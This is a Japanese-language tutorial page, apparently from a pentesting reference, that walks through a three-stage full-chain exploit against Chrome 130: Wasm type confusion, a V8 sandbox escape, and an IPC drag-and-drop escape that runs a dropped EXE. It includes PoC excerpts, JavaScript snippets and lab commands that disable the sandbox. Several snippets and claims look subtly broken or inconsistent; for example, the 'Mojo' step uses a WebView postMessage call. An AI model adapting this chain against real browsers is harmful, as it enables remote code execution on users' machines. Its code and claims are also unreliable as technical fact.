Chrome Exploiting

Reading time: 9 minutes

このページは、研究シリーズ “101 Chrome Exploitation”（パート0 — 前書き）に基づいた、Google Chrome 130 に対する現代の「フルチェーン」エクスプロイトワークフローの高レベルかつ実践的な概要を提供します。 目的は、ペンテスターとエクスプロイト開発者に、技術を再現または適応するために必要な最小限の背景を提供することです。

1. Chrome アーキテクチャの再確認

攻撃面を理解するには、コードが実行される場所と適用されるサンドボックスを知る必要があります。

+-------------------------------------------------------------------------+
|                             Chrome Browser                              |
|                                                                         |
|  +----------------------------+      +-----------------------------+    |
|  |      Renderer Process      |      |    Browser/main Process     |    |
|  |  [No direct OS access]     |      |  [OS access]                |    |
|  |  +----------------------+   |      |                             |    |
|  |  |    V8 Sandbox        |   |      |                             |    |
|  |  |  [JavaScript / Wasm] |   |      |                             |    |
|  |  +----------------------+   |      |                             |    |
|  +----------------------------+      +-----------------------------+    |
|               |           IPC/Mojo              |                       |
|               V                                    |                     |
|  +----------------------------+                   |                     |
|  |        GPU Process         |                   |                     |
|  |  [Restricted OS access]    |                   |                     |
|  +----------------------------+                   |                     |
+-------------------------------------------------------------------------+

Layered defence-in-depth:

• V8 sandbox (Isolate): メモリ権限は、JITされたJS / Wasmからの任意の読み書きを防ぐために制限されています。
• Renderer ↔ Browser split は Mojo/IPC メッセージパッシングによって保証されており、レンダラーはネイティブなFS/ネットワークアクセスを持ちません。
• OS sandboxes は各プロセスをさらに制限します（Windows Integrity Levels / seccomp-bpf / macOS sandbox profiles）。

したがって、リモート 攻撃者は 3つの 連続したプリミティブが必要です：

1. V8内のメモリ破損により V8ヒープ内の任意のRWを取得。
2. 攻撃者が V8サンドボックスから完全なレンダラーメモリに脱出 できる2番目のバグ。
3. コードを Chrome OSサンドボックスの外で実行する 最終的なサンドボックス脱出（しばしばメモリ破損ではなく論理）。

2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)

TurboFanの Turboshaft 最適化における欠陥は、値が 単一の基本ブロックループ 内で生成され消費されるときに WasmGC参照型 を誤分類します。

影響：

• コンパイラは 型チェックをスキップ し、参照 (externref/anyref) を int64 として扱います。
• 作成されたWasmは、攻撃者が制御するデータでJSオブジェクトヘッダーを重ねることを可能にします → addrOf() & fakeObj() AAW / AARプリミティブ。

最小限のPoC（抜粋）：

(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

トリガー最適化とJSからのスプレーオブジェクト:

const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

Outcome: 任意の読み書きがV8内で可能。

3. ステージ2 – V8サンドボックスからの脱出 (issue 379140430)

Wasm関数がティアアップコンパイルされると、JS ↔ Wasmラッパーが生成されます。シグネチャ不一致バグにより、Wasm関数がスタック上にある間に再最適化されると、ラッパーが信頼された**Tuple2**オブジェクトの末尾を超えて書き込むことになります。

Tuple2オブジェクトの2つの64ビットフィールドを上書きすることで、レンダラープロセス内の任意のアドレスへの読み書きが可能になり、実質的にV8サンドボックスをバイパスします。

エクスプロイトの重要なステップ：

1. ターボファン/ベースラインコードを交互に使用して関数をティアアップ状態にする。
2. スタック上で参照を保持しながらティアアップをトリガーする（Function.prototype.apply）。
3. ステージ1 AAR/AAWを使用して隣接するTuple2を見つけて破損させる。

ラッパーの識別：

function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

破損後、完全な機能を持つ renderer R/W primitive を取得します。

4. ステージ 3 – Renderer → OS サンドボックスエスケープ (CVE-2024-11114)

Mojo IPC インターフェース blink.mojom.DragService.startDragging() は、部分的に信頼された パラメータで Renderer から呼び出すことができます。 任意のファイルパス を指す DragData 構造体を作成することで、レンダラーはブラウザに対して ネイティブ ドラッグアンドドロップを レンダラーサンドボックスの外で 実行させることができます。

これを悪用することで、プログラム的に悪意のある EXE（以前に書き込み可能な場所にドロップされた）をデスクトップに「ドラッグ」することができ、Windows はドロップされたファイルタイプを自動的に実行します。

例（簡略化）：

const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

追加のメモリ破損は必要ありません – 論理的欠陥により、ユーザーの権限で任意のファイル実行が可能になります。

5. フルチェーンフロー

1. ユーザーが 悪意のあるウェブページを訪問します。
2. ステージ 1: Wasm モジュールが CVE-2025-0291 を悪用 → V8 ヒープ AAR/AAW。
3. ステージ 2: ラッパーの不一致が Tuple2 を破損 → V8 サンドボックスから脱出。
4. ステージ 3: startDragging() IPC → OS サンドボックスから脱出 & ペイロードを実行。

結果: リモートコード実行 (RCE) がホスト上で発生します (Chrome 130, Windows/Linux/macOS)。

6. ラボ & デバッグ設定

# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Chromeのdevelopmentビルドを起動する際に便利なフラグ：

chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

テイクアウェイ

• WebAssembly JITバグは信頼できるエントリーポイントのままであり、型システムはまだ若いです。
• V8内で2つ目のメモリ破損バグ（例：ラッパー不一致）を取得することは、V8サンドボックスの脱出を大幅に簡素化します。
• 特権のあるMojo IPCインターフェースにおける論理レベルの弱点は、最終的なサンドボックスの脱出に十分であることが多いです – 非メモリバグに注意してください。

参考文献

• 101 Chrome Exploitation — Part 0 (Preface)
• Chromiumセキュリティアーキテクチャ